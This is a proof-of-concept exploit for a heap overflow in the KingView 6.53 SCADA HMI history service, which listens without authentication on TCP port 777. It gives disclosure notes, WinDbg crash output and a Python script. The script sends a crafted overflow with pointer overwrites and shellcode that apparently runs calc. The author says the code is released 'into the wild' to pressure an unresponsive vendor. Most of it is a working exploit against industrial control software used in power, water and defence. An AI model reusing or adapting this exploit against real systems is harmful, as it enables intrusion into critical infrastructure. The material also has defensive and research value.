## Exploit Title: KingView 6.53 SCADA HMI Heap Overflow PoC## Date: 9/28/2010## Author: Dillon Beresford## Software Link: http://download.kingview.com/software/kingview%20English%20Version/kingview6.53_EN.rar## Version: 6.53 (English)## Tested on: Windows XP SP1 ( works on SP2 and SP3 ) will release new targets after CERT advisory is public. ## Shouts to HD Moore JDuck, Egyp7, todb, |)ruid, nate and the rest of the AHA! crew.## Thanks to all who share knowledge about heap smashing and heap bypass techniques.## Notified CERT and the vendor, CERT notified the vendor as well, vendor never responded.## No patch or response from vendor as of 1/9/2011## Lets get this into the wild and see how long it takes them to respond.## Looks like persistence pays off. :-)## SP2/SP3 targets will be available soon. (putting into metasploit this is just a poc to get response from vendor).## Vendor: Beijing WellinControl Technology Development Co.,Ltd ## http://www.wellintek.com## Beijing WellinControl Technology Development and CHINA CERT were notified on Tue, Sep 28, 2010 at 6:31 AM## I have made every attempt and yet they choose to ignore...## This PoC should wake up the dragon. >:-]## With more to come!## KingView software is a high-pormance production which can be used to building a data information ## service platform in automatic field. KingView software can provid graphic visualization which takes ## your operations management, control and optimization . KingView is widely used in power, ## water conservancy,buildings, coalmine, environmental protection, metallurgy and so on. ## And now KingView software is used in national defense, Aero-Space in China. ## Notes: The HistorySrv process listens on TCP port 777 ## This process does not require any authentication from clients## An attacker could replace the Flink and Blink pointers with evil ones.. Herrow srweeping dragon. ## Windows XP SP1 (x86) ## CommandLine: "C:\Program Files\Kingview\HistorySvr.exe"## eax=00241eb4 ebx=7ffdf000 ecx=00000003 edx=77f6eb08 esi=00241eb4 edi=00241f48## eip=77f767cd esp=0012fb38 ebp=0012fc2c iopl=0 nv up ei pl nz na po nc## cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202## ntdll!DbgBreakPoint:## 77f767cd ccint 3## 0:000> g## ModLoad: 71950000 71a34000 C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.10.0_x-ww_f7fb5805\comctl32.dll## ModLoad: 5ad70000 5ada4000 C:\WINDOWS\System32\uxtheme.dll## ModLoad: 71a50000 71a8b000 C:\WINDOWS\system32\mswsock.dll## ModLoad: 71a90000 71a98000 C:\WINDOWS\System32\wshtcpip.dll## (318.6d4): Access violation - code c0000005 (first chance)## First chance exceptions are reported before any exception handling.## This exception may be expected and handled.## eax=42424242 ebx=00000285 ecx=44444444 edx=00d38110 esi=00d38110 edi=003a0000## eip=77f6256f esp=0012f36c ebp=0012f584 iopl=0 nv up ei pl zr na pe nc## cs=001bss=0023ds=0023es=0023fs=0038gs=0000 efl=00010246## ntdll!RtlAllocateHeapSlowly+0x6bd:## 77f6256f 8901mov dword ptr [ecx],eaxds:0023:44444444=????????## 0:000> u## ntdll!RtlAllocateHeapSlowly+0x6bd:## 77f6256f 8901mov dword ptr [ecx],eax## 77f62571 894804mov dword ptr [eax+4],ecx## 77f62574 3bc1cmp eax,ecx## 77f62576 7534jne ntdll!RtlAllocateHeapSlowly+0x6fa (77f625ac)## 77f62578 668b06mov ax,word ptr [esi]## 77f6257b 663d8000cmp ax,80h## 77f6257f 732bjae ntdll!RtlAllocateHeapSlowly+0x6fa (77f625ac)## 77f62581 0fb7c8movzx ecx,ax## usage python exploit.py 127.0.0.1 777
import os
import socket
import sys
host = sys.argv[1]
port = int(sys.argv[2])
print " KingView 6.53 SCADA HMI Heap Smashing Exploit "
print " Credits: D1N | twitter.com/D1N "
shellcode = ("\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9""\x44\x80\xc2\x77""\xFF\xD1\x90\x90")
exploit = ("\x90"* 1024 +"\x44"* 31788)
exploit +=("\xeb\x14")# our JMP (over the junk and into nops)
exploit +=("\x44"* 6)
exploit +=("\xad\xbb\xc3\x77")# ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit +=("\xb4\x73\xed\x77")# EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit +=("\x90"* 21)
exploit += shellcode
print "[+] Herrow Sweeping Dragon..."
print "[+] Sending payload..."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(exploit)data = s.recv(1024)
print "[+] Closing connection.."
s.close()
print "[+] Done!"
